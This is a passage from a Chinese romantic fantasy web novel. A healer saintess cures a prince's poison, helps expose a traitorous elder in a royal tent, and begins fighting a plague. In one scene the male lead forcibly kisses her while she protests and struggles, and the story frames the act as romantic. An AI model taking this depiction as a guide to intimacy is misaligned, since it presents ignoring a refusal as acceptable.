她深吸一口冰冷的空气,压下心头最后一丝波澜,闭上眼,心神沉入识海。
十指交扣的瞬间,一股源自血脉深处的共鸣感瞬间传来。
两人心口那处火焰印记同时灼**跳动了一下。
林绾绾体内的冰火本源之力,顺着交握的双手,化为涓涓细流,小心翼翼地探入萧景珩的体内,温柔地包裹住他心口那团蛰伏的玄冥寒毒本源。
“嗡…!”
当两股同源的力量接触的刹那!
共鸣的强烈力量在两人之间爆发。
如同沉睡的巨兽被唤醒。
突然,萧景珩体内沉寂的玄冥寒毒躁动起来,带着刺骨的寒气,狂暴地冲撞向林绾绾缓缓渡入的冰火之力!
第91章 圣殿清毒
林绾绾闷哼一声,身体微震!
萧景珩体内寒毒的反扑比她预想的更猛烈。
林绾绾稳住自己的心神,全力运转《天医策》留下的法门。
识海中的符文光芒大盛!
她的冰火本源之力不再强行压制寒毒,而是如同最柔韧的水流,引导着狂暴的寒毒,按照特定的轨迹开始缓缓运行。
“引圣殿之力!护持经络!导引阴阳!”
三位长老同时低喝!
双手结印,静室墙壁上古老的图腾亮起。
带着圣殿千年沉淀的冰火力量,如同温柔的潮汐,缓缓涌**内,包裹住冰玉床上的两人。
这股力量如同最坚韧的堤坝,护持着两人的心脉,引导着狂暴的寒流与林绾绾的冰火之力,在两人体内形成一个奇妙缓慢的流动循环。
这是一个极其精细、缓慢且消耗巨大的过程。
林绾绾的全部心神都沉浸在这引导之中。
她能清晰地“看到”萧景珩经脉中的寒毒,在自己温和的本源之力和圣殿之力的引导下,一点点被剥离、净化、融解!
萧景珩体内的寒毒被剥离掉狂暴的杂质,化作一股股温凉的、精纯的冰属性力量,融入两人共享的循环之中。
而她自身的力量,也在引导和净化对方寒毒的过程中,如同被反复锤炼的钢铁,变得更加精纯、圆融。
心口那火焰印记的跳动,越来越沉稳有力,与萧景珩心口的印记共鸣,形成一种越发奇妙的和谐韵律。
冰玉床的寒气压制着一切躁动。
静室内只有三位长老低沉的吟诵声和二人低沉细微的呼吸声。
不知过了多久。
当最后一丝顽固的、带着黑色死气的寒毒杂质被林绾绾的圣火之力焚化,排出体外时,萧景珩体内那股霸道的玄冥寒毒终于被彻底净化。
它被淬炼成一股散发着幽幽蓝芒的冰魄之力,与他心口的火焰印记完美融合,再无半分冲突。
冰火同源,在萧景珩体内,被彻底稳固!
“呼…”
林绾绾长长舒了一口气,缓缓收回引导的力量,疲惫如同潮水般涌来。
她睁开眼,额头上布满了细密的汗珠,脸色虽有些苍白,但眼神却明亮如白昼。
成功了!
她低头看向依旧沉睡的萧景珩。
他的脸色不再是病态的苍白,而是恢复了一种健康的、带着淡淡血色的光泽。
呼吸悠长而平稳,如同熟睡的婴儿一般。
最明显的,是他眉宇间常年萦绕的阴郁病气,已然消失无踪。
整个人如同脱胎换骨,焕发出一种内敛而强大的生机!
林绾绾的心底涌起一股难以言喻的暖流和成就感。
她轻轻抽回与萧景珩交握的手,指尖不经意拂过他温热的掌心,心底划过一阵细微的悸动。
就在这时,萧景珩浓密的睫毛颤动了一下。
接着,他缓缓睁开眼睛。
那双黑眸褪去了往日的深沉算计和病弱疲倦,也敛去了血鸦阁主的冰冷锋芒,如同被山泉洗涤过的黑曜石一般…
清澈,明亮,带着一种初醒的迷茫和一种前所未有的平和。
萧景珩的目光缓缓聚焦,落在了近在咫尺的林绾绾脸上。
当他看清林绾绾眼中的关切、疲惫和那抹温柔时,他眸中的迷茫迅速褪去,火速被一种深沉的眷恋所取代。
“绾绾…”
此刻,萧景珩的声音依旧沙哑,但落在林绾绾耳中却带上一种奇异的磁性,如同陈年的酒酿,低沉而醉人。
萧景珩缓缓抬起手,带着一丝试探的迟疑,极其轻柔地抚上林绾绾汗湿的脸颊。
指尖温热的触感,真实而清晰。
“你…真的在…”
他的声音里带着一丝颤抖和后怕,仿佛害怕眼前的一切只是幻境。
林绾绾没有躲闪,任由他的指尖拂过自己的脸颊。
她看着男人眼中那毫不掩饰的深情与脆弱,想到他为自己挡下的致命一击,想到疗伤时血脉交融的奇妙感受…
心底最后一层冰封的防线,在这一刻彻底融化。
“嗯。我在。”
林绾绾轻声应道,声音里满是柔软,“你感觉怎么样?
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”
萧景珩没有回答她的问题,目光贪婪地流连在她脸上,仿佛怎么也看不够。
指尖顺着她柔和的轮廓,缓缓滑落到她纤细脆弱的脖颈。
那里还残留他喷溅的、早已干涸的暗红色血迹。
巨大的心疼和一种难以言喻的冲动瞬间攫住了他。
萧景珩猛地用力,不顾伤口的疼痛,一把将林绾绾拉入怀中。
滚烫的唇带着一种近乎掠夺的强势,狠狠地、不容抗拒地覆上她因惊讶而微张的唇瓣。
林绾绾猝不及防,整个人被萧景珩紧紧禁锢在怀中。
唇齿间瞬间充斥着他清洌而霸道的气息,混合着淡淡的药味和专属于他的独特味道。
这个吻,不同于濒死时的冰冷绝望,而是充满了灼热的占有和一种贪婪的索取。
林绾绾大脑一片空白,身体瞬间僵硬。
她想要挣扎,却被萧景珩铁钳般的双臂牢牢锁住。
萧景珩滚烫的舌带着不容抗拒的力量,撬开她的贝齿,长驱直入,攻城略地。
带着惩罚的意味,更带着深深的渴求,仿佛要将林绾绾整个人都揉碎,融入到自己的骨血之中。
“萧景珩…唔…你放开…唔…”
破碎的声音从林绾绾的喉间溢出,却被萧景珩更深的吻吞噬。
萧景珩的手掌带着灼人的温度,隔着薄薄的纱裙,紧紧贴在林绾绾的后腰,将她用力按向自己。
两人身体紧密相贴,几乎没有一丝缝隙。
冰玉床的寒气与两人灼热的体温形成强烈的反差。
静室内的空气变得滚烫而暧昧。
三位长老早已悄无声息地退了出去。
这个吻霸道、绵长,带着一种宣泄般的疯狂和失而复得的巨大喜悦。
林绾绾从最初的抗拒、羞赧,渐渐迷失在萧景珩炽热的气息和怀抱中。
她身体不由自主地放软,意识如同漂浮在云端。
林绾绾生涩而笨拙地回应着吻,双手无意识地攀上萧景珩宽阔的后背。
虽然隔着衣衫,但是仍能感受到他有力的心跳和紧绷的肌理。
第92章 王庭暗涌
不知过了多久。
直到林绾绾感觉自己快要窒息,萧景珩才喘息着,恋恋不舍地离开了她被蹂躏的红肿的唇瓣。
他俩额头相抵,灼热的呼吸喷洒在彼此的脸上。
两人气息交融,心跳如鼓。
“绾绾…”
萧景珩的声音沙哑得厉害,带着浓重的情欲和一种近乎偏执的占有欲。
“别再离开我…永远…别再离开…”
他收紧了手臂,将林绾绾更深地嵌入怀中,仿若要将她永远禁锢在身上。
林绾绾靠在他坚实的胸膛上,听着他强劲有力的心跳,感受着他身体传递过来的热度,一种前所未有的安心感和归属感悄然滋生。
她轻轻闭上眼睛,没有说话,只是将脸更深地埋进萧景珩的颈窝,用行动回应了他无声的祈求。
静室内,冰玉的寒气似乎也被这炽热的情愫驱散了几分,只余下两人交错的呼吸和心跳声。
然而,这片刻的温情并未持续太久。
笃笃笃!
一阵急促而克制的敲门声响起,打破了室内的旖旎。
“圣女!王子殿下有急事相商!鹰回谷内有重大发现!”
青蚨的声音在门外响起。
林绾绾猛地从萧景珩怀中抬起头,眼中的迷离瞬间被凝重取代。
鹰回谷!腐尸瘟蛊!林月瑶!
萧景珩也缓缓松开手臂,眼中的情欲迅速沉淀为冰冷的锐利。
他虽然不舍现在的温存,但也知道事态紧急。
“进来。”
林绾绾迅速整理了一下微乱的衣襟和发丝,声音恢复了清冷。
青蚨推门而入,脸色异常凝重。
她手中捧着一个用油布包裹的物件,里面隐隐有血腥和腐臭的气味散出。
“圣女!王子殿下在鹰回谷寻找瘟疫源头时,在一处废弃的祭坛下,发现了这个!”
青蚨将油布包小心翼翼地放在地上打开。
里面赫然是一小块扭曲变形、覆盖着粘稠黑色虫尸的残骸。
虽然残骸已经面目全非,但从破碎的服饰碎片来看…
正是之前被赫连灼斩断手腕,用蛊虫黑雾遁走的林月瑶!
“她…这是**?”林绾绾皱眉。
“是**,但却不是自然死亡!”
青蚨的声音里带着寒意。
“王子殿下刚刚请精通蛊术的长老查验过了,她是被更强大的蛊虫反噬而死的!而且,在她心口处,发现了一枚被强行打入的…这个!”
青蚨从怀中取出一个小巧的黑色令牌。
令牌上雕刻着一朵残缺的金丝昙花,花蕊处镶嵌着一颗细小的冰魄石。
这与林绾绾从赫连灼手中得到的金昙令极其相似,但是却带着一股阴邪的气息。
“这是我们金昙王庭‘影昙卫’的令牌,但是这枚是仿制的!而且经过长老确认,这令牌的材质中掺杂了大胤皇室御用的‘天青墨玉’粉末!”
王庭影昙卫!
大胤天青墨玉!
仿制的令牌!
被蛊虫反噬的林月瑶!
线索如同冰冷的毒蛇,瞬间缠绕而上!
“还有!”青蚨的声音更加凝重。
“在清理祭坛时,发现了几块刻着残缺文字的祭石板,上面记录着一种以金昙圣血为引,融合至亲骨血炼制‘九转同心蛊’的邪法残篇!那其中还涉及到了长生蛊!”
林绾绾闻言,心下大惊!
萧胤的长生蛊难道是从北漠流传过去的?
那么母亲的**,巫医族被屠,林家被灭门…
真相如此之近!
巨大的寒意席卷了林绾绾。
萧景珩的脸色也在瞬间变得铁青。
他显然也是想到了什么。
不管如何,这都明确能指出,北漠王族中有叛徒!
而且其身份地位必定极高!
他能接触到核心机密,并能直接与大胤皇帝勾结!
“赫连灼呢?”林绾绾声音冰冷刺骨。
“王子殿下已经**息,正在暗中调查影昙卫所有高层。并命我立刻护送圣女殿下与萧…萧公子前往王庭金帐!”
青蚨的声音也带着凛冽的寒意。
这场风暴的中心,已然转向了北漠王族的最深处。
而皇室禁忌的根源与隐秘,也在悄然向他们招手!
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br>王庭金帐,并非黄金铸就,而是由无数坚韧的黑色牦牛皮拼接而成。
巨大、厚重、带着塞外特有的粗狂与威严。
帐内空间广阔,穹顶高耸,悬挂着绘制狼图腾的巨幅毡毯。
此刻,帐内气氛却凝重得如同灌了铅。
赫连灼高踞于铺着雪白狼皮的王座之上。
墨色王袍衬得他面容愈发冷峻。
琥珀色的眼眸如同冰封的湖面,扫视着下方肃立的王庭重臣、各部首领以及三位神色各异的长老。
萧景珩的右手边,坐着已经换上北漠圣女华服的林绾绾。
雪白的长袍滚着暗金昙花纹路,长发挽起,露出光洁的额头和修长的脖颈,神色平静,眼神却也锐利如刀。
萧景珩换上了一身北漠贵族常穿的玄色窄袖劲装。
虽未落座,只是静静立在林绾绾身侧稍后的位置,但那挺拔的身姿和周身内敛却不容忽视的强大气场,让不少北漠将领都投去忌惮的目光。
帐内空气微微凝滞。
所有人的目光,都聚焦在赫连灼脚下那个被打开的油布包,看着里面露出的面目全非的尸体残骸,以及那枚仿制的影昙卫令牌。
“诸位。”
赫连灼的声音不高,却带着金铁般的质感,清晰地穿透了凝重的空气,砸在帐内每个人的心头。
“鹰回谷惨剧,腐尸瘟蛊肆虐,数百勇士殒命,多亏圣女出手,才稳定局面。”
“如今根源已查明!非天灾,乃人祸!”
他的目光如同实质的冰锥,猛地刺向立于首位的人——
他的大伯,赫连苍玄!
“大伯!这枚从这尸体心口挖出的令牌,你可认得?”
赫连灼的声音陡然拔高,带着雷霆般的威压。
他指尖一弹,那枚带着阴邪气息的仿制令牌,如同被无形之手拖着,精准地飞射到赫连苍玄的脚下!
咚!
令牌落地的声音,在死寂的金帐中如同惊雷。
所有人的目光瞬间聚焦在赫连苍玄的身上!
惊疑、愤怒、难以置信…
所有情绪如同潮水般向赫连苍玄涌去!
第93章 金帐疑云
王庭金帐内,厚重的牦牛皮隔绝了塞外呼啸的寒风,却挡不住帐内剑拔**张的气氛。
“此女心口藏有金昙令牌。”
赫连灼高踞王位,墨色王袍上的暗纹在烛火下泛着冷光。
他指尖轻扣扶手,目光扫过下方肃立的众人,最终落在赫连苍玄那张布满皱纹的慈祥面孔上。
“大伯,您执掌影昙卫三十余载,劳苦功高,素来被称为我王庭鹰犬之眼。此令您看,可是真物?”
所有人的目光都聚焦在这位德高望重的老臣身上。
赫连苍玄布满皱纹的脸上露出了惊愕与痛心。
他颤巍巍地弯下腰,捡起令牌。
枯瘦的手指极其小心地拂去上面的污垢,浑浊的老眼凑近仔细端详,甚至还对着帐中烛火反复照看。
良久,他发出一声沉痛的叹息,将令牌高高举起,让账内众人皆能看清。
“殿下明鉴!诸位同僚!”
赫连苍玄的声音带着年长者的沉痛和沙哑,语气中满是自责。
“此令形制确与我金昙令牌极其相似!然则…”
他的手指重点摩挲着令牌边缘的刻痕和花蕊处那颗冰魄石。
“这铸造之痕,过于刻意,少了王庭秘匠特有的圆融气韵。而这冰魄石,其内杂质斑驳,光华凝滞,绝非采自我狼山圣湖深处的纯净冰魄源晶!”
“此乃高仿之物,足以以假乱真!但却瞒不过老朽这双侍奉过三代狼主的眼睛!”
他猛地将令牌掷于地上,老泪纵横,声音哽咽:
“老臣无能!影昙卫令牌规制外泄,竟被奸人仿制,酿成今日祸端,污了我王庭之名!老臣罪该万死!恳请殿下赐老臣一死,以谢天下!”
说着,竟颤颤巍巍屈膝下跪,一副痛心疾首,引咎请罪的悲壮模样。
“王爷!”
几位与他交好的部落首领急忙上前搀扶,纷纷劝慰。
“老王爷何出此言!分明是大胤奸细狡诈!”
“定是有人蓄意栽赃,离间我王庭!”
“老王爷忠心耿耿,天地可鉴!”
帐内群情激奋,矛头全都指向“大胤奸细”,对赫连苍玄的信任和同情更盛。
赫连灼静静看着眼前一幕,琥珀色的眼眸深不见底,嘴角却勾起一丝极冷的弧度。
他抬手虚按,止住了众人的喧哗。
“大伯不必如此。”
赫连灼的声音平静,听不出喜怒。
“奸人仿制令牌,手段高明,非大伯之过。”
接着他话锋一转,目光投向青蚨,“将祭坛所得之物,呈给大伯过目。”
青蚨再次上前。
这次奉上的,是几块沉重、边缘带着明显挖掘痕迹的黑色石板碎片。
石板上刻满了密密麻麻,极其古老诡异的符文和图腾。
赫连苍玄在侍从搀扶下,颤巍巍地凑近石板。
当他的目光落在那些符文上时,浑浊的眼底极快地掠过一丝惊悸,但面上却露出更加深沉的困惑和凝重。
“此乃邪文!”
赫连苍玄的声音里带着震惊。
“记载的似乎是某种以生魂精血为祭的邪异蛊术,歹毒之极!殿下,此物从何而来?必须立刻毁掉,以免遗祸无穷!”
“就在鹰回谷爆发瘟疫的源头祭坛之下!”
赫连灼缓步上前,指尖轻轻拂过石板上一道极其细微、却异常流畅独特的刻痕纹路。
“大伯,您老博学,可认得这刻痕手法?”
赫连苍玄眯起眼,凑得更近,仔细端详那道刻痕,甚至还用枯瘦的指尖虚虚描摹了一下。
片刻,他直起身,脸上露出追忆和一丝不易察觉的得意,随之又被沉痛取代。
“此乃‘流云追月’刻法?不…不对,比‘流云追月’更显苍劲古拙,转折处带有独特的‘断金’之意...”
“这莫非是失传已久的‘篆金刻’?”
他猛地抬头,看向赫连灼,眼中充满了难以置信。
“殿下,老朽年轻时曾于一部残破古籍中见过这篆刻的描述,其神韵与这刻痕有七八分相似!但此技早已失传百年!怎会…”
赫连苍玄此刻表现得如同发现了稀释珍宝,完全沉浸在学术的震撼之中。
“哦?失传百年的‘篆金刻’?”
赫连灼唇角那抹冰冷的弧度更深了。
“大伯果然博闻强
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识。只是…这‘篆金刻’,似乎并未失传百年。”
他话音未落,便从怀中掏出一物。
那是一块巴掌大小的黑色石板,看材质与地上的碎片极为相似。
石板上,赫然刻着几个遒劲有力,带着独特‘断金’转折之意的北漠古文字——
“赫连苍玄,承天命督造圣殿基石,愿狼神庇佑,永镇山河”!落款处是三十年前。
“这…这是…”
赫连苍玄脸上的激动和喜悦瞬间僵住,血色一点点褪去。
“三十年前,大伯主持重修圣殿地宫,亲笔所书奠基石文,听说用的可是您引以为傲、独创的‘苍玄刻’!”
赫连灼的声音陡然转厉,如同冰刀刮骨。
“这祭坛下的邪法石板,与您三十年前的刻痕手法,看起来一模一样!这,也是巧合吗?我敬爱的大伯!
所有人都被这突如其来的转折和铁证惊呆了!
方才还为赫连苍玄抱不平的几位首领,此刻看向他的眼神充满了惊疑和震骇!
赫连苍玄的身体剧烈摇晃了一下,扶着拐杖的手,指节捏得发白。
“殿下…老臣…老臣…”
他试图辩解,声音嘶哑颤抖。
“还没完!”
赫连灼根本不给赫连苍玄任何喘息的机会!
他再次探手入怀,取出一枚龙眼大小、通体晶莹剔透、散发着纯净幽蓝寒芒的冰魄石。
他将这枚真正的源晶石与地上那枚令牌上的仿制品,并排举起。
在烛光下,两者之间的差异,一目了然。
“三年前,大伯以研究古方、修复圣殿图腾为由,从王庭秘库支取了大量‘火磷砂’!”
“而这仿制令牌上的冰魄石,其内掺杂的杂质,经王庭工匠们辨认,正是那批火磷砂研磨后的粉末。”
“我猜大伯的本意是想用这砂模仿冰魄上散发出的寒光,却未曾想到画虎不成反类犬!”
“大伯,这火磷砂,难道也是被大胤奸细偷取仿造令牌了吗?”
“还有!此砂性质阴寒,遇血则燃,是制作‘血昙追魂针’的核心材料!”
“大伯,我说的是也不是?!”
第94章 喋血金帐
“噗--!”
赫连苍玄再也支撑不住,猛地一口鲜血,染红了胸前的白袍。
那慈祥悲悯的面具彻底破碎,露出底下扭曲的狰狞和刻骨的怨毒。
赫连灼看着赫连苍玄此刻的模样,话语未停:
“你若想调动影昙卫的力量,就需要用一枚能混淆视听,甚至在必要时能栽赃嫁祸的‘令牌’!”
“但你无法获得只有狼主或圣女才能动用的冰魄源晶。于是利用职务之便,用火磷砂试图仿造。”
“这伪造的令牌,就是你实施阴谋,调动死士,栽赃大胤的关键道具!”
“赫连灼,你这个小畜生!你处心积虑,你…”
赫连苍玄眼中爆发出骇人的红光,哪里还有半分老态龙钟.
“把人带上来!”赫连灼厉声打断他最后的挣扎。
帐门被掀开。
两名浑身浴血的狼山卫,拖着一个血肉模糊、但依稀能辨认出是赫连苍玄心腹侍从模样的人进来,狠狠掼在地上。
“昨夜,他可是潜入狼山谷,试图再次将腐尸瘟蛊散播在营帐中,被本王守株待兔,当场擒获!”
“赫连苍玄!人赃并获!你还有何话可说?”
赫连苍玄盯着地上不成人形的心腹,又抬头看向王座上眼神冰冷如刀的赫连灼,以及他身边目光如炬的林绾绾和萧景珩。
他明白,自己早已落入一个精心编制的罗网之中。
从仿制的令牌被发现,可能是更早的时候,赫连灼就一直在引他入瓮!
所有的“余地”,都是诱他暴露更多破绽的陷阱!
赫连苍玄脸上的镇定终于彻底崩碎。
那层忠厚的假面如同瓷器般片片剥落,露出底下狰狞扭曲的真实。
他的眼中爆发出怨毒到极致的光芒。
赫连苍玄见事情败露,猛地撕开宽大的王袍,露出里面绣满诡异血色昙花图案的黑色内衬。
一股浓郁到令人窒息,混合着血腥与**花香的阴邪气息弥漫开来。
“金昙花开,血祭王庭!都给我死!”
他咬破舌尖,一口血雾喷在血色昙花的内衬上。
内衬上的昙花瞬间如同活过来一般,散发出妖异的红光。
无数**从昙花中暴射而出,覆盖大半个金帐!
赫连灼挥刀格挡,仍是被三枚**突破防线。
千钧一发之际,萧景珩一掌推出,冰火之力形成屏障,将**悉数冻结。
同时,林绾绾九转玲珑针出手,精准刺入赫连灼伤口周围穴道,防止毒素扩散。
“杀!”
赫连灼趁机暴起,弯刀化作一道银月寒光,直取赫连苍玄喉咙!
赫连苍玄仓促闪避间,仍被刀锋划过肩头。
诡异的是,他的伤口流出的竟是黑色脓血。
“你们既然要我死,那你们都要给我陪葬!”
赫连苍玄面容扭曲,突然扑向最近的二长老,手掌直插对方心口!
萧景珩身形一闪,力量在掌心凝聚,一掌拍在赫连苍玄后心。
力量透体而出,震得赫连苍玄喷出一口黑血,踉跄着撞向支撑金帐的巨大铜柱。
赫连苍玄受到重创,口中不断溢出粘稠的黑血,气息萎靡下去,连那件血色昙花的衣袍也暗淡了许多。
但他那双怨毒的眼睛,却还是死死盯着王座前的赫连灼和林绾绾,嘴里发出嘶哑疯狂的笑声。
“能拉着金昙王庭最后的血脉和这个孽种一起死…值了!”
“赫连灼,你以为你赢了?不!你和你那个流淌着低贱北漠狼血的父亲一样!都是窃贼!是金昙王庭的窃贼!”
他的眼中充满了刻骨的鄙夷和不甘。
“北漠?狼王?呵…不过是一群茹毛饮血的蛮子!凭什么凌驾于传承千年的金昙王庭之上?我赫连氏,才是金昙圣殿最古老,最纯正的血脉守护者!”
“可你们!你们这些混入了北漠狼血的杂种!”
“凭什么你父亲娶了一个金昙旁支的女人,生下你这个杂种王子,在这金昙圣殿里,我就要永远对你一个毛头小子低头!”
“我侍奉了三代圣主,呕心沥血,却永远都要被那该死的圣血踩在脚下!”
赫连苍玄指向林绾绾,眼中是疯狂的嫉妒。
“圣血?哈哈哈!你们身怀圣血,却
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只想着情情爱爱。简直是暴殄天物!你们根本不知道这血脉的力量意味着什么!”
“还好有蛊婆婆,是她点醒了我!”
提到“蛊婆婆”,赫连苍玄浑浊的眼中闪过狂热和敬畏。
“是她告诉我圣血真正的力量究竟为何物!”
“它不是用来治病救人的!是用来掌控生死,颠倒乾坤的!”
“萧胤那个皇帝…他也懂!他比你们所有人都懂!”
“他求长生,需要圣血!更需要…至亲骨血来调和药性!所以他需要‘九转同心蛊’!”
他再看向萧景珩,指着他心口印记的位置,眼中闪烁着诡异的光芒。
“大胤太子,你以为你的寒毒和印记是什么?那可不是诅咒,而是恩赐!是萧胤从赫连云渊未出世的孩子那里获得了一点本源精血,再混合金昙冰魄泉的至寒精华...”
“当你还是个胎儿时,就种下了‘炉鼎’之印!他只是把你当成炼制长生蛊的活鼎炉而已!只待时机成熟,便取你性命,炼成神丹!”
“哈哈哈!你就是可怜的药引子,和你的生母宸妃一样!都是我们长生路上的祭品而已!”
赫连苍玄大声狂笑,带着报复的快意。
“宸妃那个蠢女人!她还以为萧胤是真的爱她!她不过是一个试验品而已。”
“萧胤在她身上试验融合圣血与至亲骨血的法子,生下了你,她的使命就完成了!”
“至于她的死...哈哈哈...金丝昙花...多么美丽的送葬之物啊!哈哈哈!”
“我母妃到底是**的?你快告诉我!”
萧景珩怒目圆睁,手中力量汇聚,似乎下一刻就要将赫连苍玄扼杀。
“想知道?自己亲自去地狱问吧!”
赫连苍玄不再多言,身上血色昙花红光大盛,那件血色昙花内衬上的花纹仿佛活了过来,散发出妖异红光!
周围很多臣子首领,没有防备。
在被红光影响后,竟如同丧失了心智,成为提线木偶一般,对林绾绾三人和周围的同僚发起攻击。
一时间,场面失去控制,越发混乱起来。
第95章 昙影惊魂
金帐内数名肃立的部落首领和官员,眼中泛起诡异的红光,脸上血管如同蚯蚓般凸起扭曲。
他们发出野兽般的嘶吼,悍不畏死地扑向身边的同僚,挥刀便砍!
帐内陷入一片血腥的混乱!
赫连苍玄满意的看着眼前一幕,再次喷出一口鲜血,洒在血色昙花内衬上。
“是时候让你们尝尝我追魂针的味道了!”
无数细如牛毛,尾部带着一点诡异红芒的**,如同暴雨梨花,再次激射而出。
目标直指王座前的林绾绾三人。
“小心!那就是‘血昙追魂针’!此针歹毒无比,针尾火磷遇血即爆,会瞬间将人由内而外焚成焦炭!”
赫连灼失声惊呼!
**如雨!速度奇快!
带着尖锐的破空厉啸!
距离最近的几人瞬间被射成筛子,身体如同被点燃的蜡烛,爆燃起来,发出凄厉的惨叫。
赫连灼脸色剧变,弯刀舞成一片光环护住周身。
但**数量太多,角度刁钻,眼看几根追魂针就要突破**,射向他面门。
就在这千钧一发之际!
一道玄色身影如同鬼魅般横移一步,瞬间挡在了林绾绾身前,同时也将赫连灼的大半个身体护在了身后。
是萧景珩!
他眼神冰冷,体内刚刚稳固的力量毫无保留地爆发,双掌猛然向前平推。
一股带着冰寒与灼热交织的力场在他身前形成,如同最坚韧的屏障。
激射而来的血昙追魂针撞上无形的墙壁,速度骤减,针身被冰寒之力冻结出白霜,针尾那点红芒也被圣火之力压制、湮灭。
数枚致命的**,竟被硬生生定格在三人身前三尺的空中。
“破!”
萧景珩低喝一声,双掌猛地一震。
被冻结的**瞬间被冰火之力震得粉碎,随之化作冰晶齑粉,簌簌落下。
赫连苍玄眼中爆发出难以置信的惊骇!
“不可能!你什么时候有这么强大的力量!而且你的寒毒...你的寒毒怎会...”
这个大胤太子原来一直在隐藏!
而且实力竟恐怖如斯!
“老狗!受死!”
赫连灼抓住这电光火石的间隙,弯刀化作一道撕裂空气的银月寒芒,带着斩断一切的决绝,狠狠劈向赫连苍玄。
刀光闪过!
一颗须发皆张,带着无尽怨毒和不甘的头颅冲天而起!
滚烫的鲜血如同喷泉般从无头的脖颈中喷射而出,瞬间染红了金帐中央巨大的狼图腾毡毯。
赫连苍玄的无头尸体晃了晃,重重栽倒在地。
那件妖异的血色昙花内衬,如同失去了生命般,迅速暗淡、枯萎。
随着赫连苍玄的死亡,那些被控制的傀儡如同断了线的木偶,瞬间瘫软在地,眼中的红光迅速消散,只余下空洞和茫然。
金帐内的混乱,在血腥中迅速平息,只剩下劫后余生的粗重喘息在帐内流转。
赫连灼拄着滴血的弯刀,胸膛剧烈起伏,琥珀色的眼眸扫过满地的狼藉,最后落在萧景珩身上,眼神复杂。
方才的危机时刻,是萧景珩挡下了致命的**,救了他一命!
这份情,他不得不承!
萧景珩缓缓收回手掌,冰火力场消散。
他看也没看赫连灼,第一时间侧身,低头看向身后的林绾绾,眼中满是关切:“你没事吧?”
林绾绾摇摇头,心有余悸地看着地上那滩迅速凝固的鲜血和赫连苍玄的无头尸体。
萧景珩这才慢慢转向赫连灼,目光锐利:
“叛徒伏诛,余孽当清!赫连王子,当务之急是肃清赫连苍玄所有党羽,稳定王庭。而且现在狼回谷内瘟疫未平,还需要绾绾之力。”
他的话语瞬间切中要害,瞬间将众人的注意力从血腥中拉回现实。
赫连灼深深吸了一口气,压下翻腾的情绪,恢复了王者的冷峻。
他看向林绾绾,声音带着威压:“圣女听令!”
林绾绾神色一肃,微微颔首。
“命你即刻统领王庭内所有医官及药奴,全权负责鹰回谷瘟疫救治!所需药材和人手,王庭各部需倾力配合。不得有误!”
“领命!”
林绾绾声音清越,带着强大的自信。
这正是她践行医道,拯救生灵之时!
赫连灼的目光又转向萧景珩,眼神复杂地闪烁了一下,最终
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化为一种凝重。
“萧公子...此番援手,北漠铭记。也请你这段时间继续配合和保护圣女,一起清剿鹰回谷内外可能残留的蛊毒余孽。你可愿帮忙?”
这既是借助其强大的武力,也是一种变相的监视和考验。
萧景珩黑眸微眯,迎上赫连灼审视的目光,没有丝毫退缩。
他缓缓抱拳,声音低沉却带着千钧之力:“愿意效劳。”
为了绾绾,也为了彻底斩断北漠与那长生邪蛊的关联,他都必须留下。
命令下达,金帐内迅速行动起来。
侍卫清理尸体,医官救治伤员。
赫连灼在几位心腹将领的簇拥下,开始部署对赫连苍玄残余势力的雷霆清剿。
林绾绾与萧景珩并肩走出弥漫着血腥气的金帐。
外面,凛冽的寒风裹挟着雪沫扑面而来,却吹不散两人之间无声流淌的默契与情愫。
萧景珩自然而然地牵起林绾绾微凉的手,用自己宽厚温热的手掌裹住。
林绾绾身体微微一僵,却没有挣脱,只是耳根悄悄染上了一层绯红。
“方才...谢谢你。”
她低声道,声音轻得像羽毛拂过。
萧景珩脚步微顿,侧头看着林绾绾低垂的睫毛和染红的耳垂,眼底掠过一丝笑意。
他微微俯身,凑近林绾绾耳边,灼热的气息喷洒在她敏感的肌肤上,声音低沉而带着戏谑。
“谢我什么?是挡针?还是...那个吻?”
林绾绾的脸瞬间爆红!
她羞恼地瞪了萧景珩一眼,用力想抽回手,却被男人握得更紧。
萧景珩低笑一声,不再逗她,只是握着她的手又紧了紧,声音变得认真起来。
“绾绾,鹰回谷危险未明,若遇危险,要跟紧我!不许逞强!”
“嗯。”
林绾绾轻轻应了一声,心中的暖流几乎要溢出来。
她感受着萧景珩掌心传来的温度和力量,看着眼前苍茫辽阔的北漠荒原。
她第一次觉得,这条布满荆棘的复仇与寻求真相之路,似乎不再那么冰冷孤单。
两人翻身上马,在狼山卫精锐的护卫下,朝着狼回谷的方向疾驰而去。
第96章 冰火涤瘟
狼回谷。
昔日水草丰美,作为王庭重要中转营地的山谷,几日不见,此刻已经是一片死寂的人间炼狱。
低矮的营地连绵起伏,却听不到往日的喧哗与操练。
只有压抑的、此起彼伏的痛苦呻吟和绝望的哭泣在寒风中回荡。
空气中满是浓重的化不开的腐臭。
随处可见倒毙的尸体。
尸体上布满狰狞的紫黑色斑块,溃烂流脓,死状可怖。
侥幸未染病的士兵在被巨大的恐惧笼罩,如同待宰的羔羊。
林绾绾勒住马缰,望着眼前如同地狱般的景象,心脏狠狠揪紧。
只是几天不在,狼回谷的样子看起来更严重了!
她深吸一口冰冷刺骨的空气,强行压下翻涌的情绪,眼中只剩下医者的冷静。
“狼山卫听令!”
萧景珩冰冷的声音在她身侧响起,带着铁血的威严。
“封锁谷口!分三队!”
“一队,协助圣女清点病患,维持秩序!”
“二队,沿谷内水源、营地外围喷洒石灰,焚烧所有染病尸体与污物!”
“三队,随我清剿谷内可能潜藏的蛊虫源头及赫连苍玄的余党!”
“遇抵抗者,格杀勿论!”
命令简洁有力,瞬间让陷入恐慌的营地有了主心骨。
狼山卫精锐齐声应诺,如同高效的机器,迅速散开执行命令。
林绾绾翻身下马,青蚨立刻将沉重的药箱递上。
她环视一周,指向谷中地势较高、通风最好的一片区域:
“医官营,将营帐设到那里!立刻搭建隔离区,未染病者集中左营,轻症者集中中营,重症濒死者集中右营!”
“所有医官、药奴,戴好面巾手套,接触病患后必须以烈酒净手!”
“是!圣女!”
早已等候的医官们立刻行动起来。
片刻后,林绾绾快步走向右营——
那里是情况最危急的重症区。
简陋的毡毯上,躺满了奄奄一息的士兵。
他们浑身高热,意识模糊,皮肤上紫黑色斑块已经连成大片,脓血不断渗出,散发着死亡的气息。
她蹲在一个气息微弱的年轻士兵身边,不顾刺鼻的恶臭,伸出带着冰丝手套的手指,轻轻搭上他滚烫的腕脉。
脉象滑数而沉涩,如同淤泥中的暗流。
一股阴寒、充满死寂的气息盘踞在他的五脏六腑,尤其是心脉和肝脏。
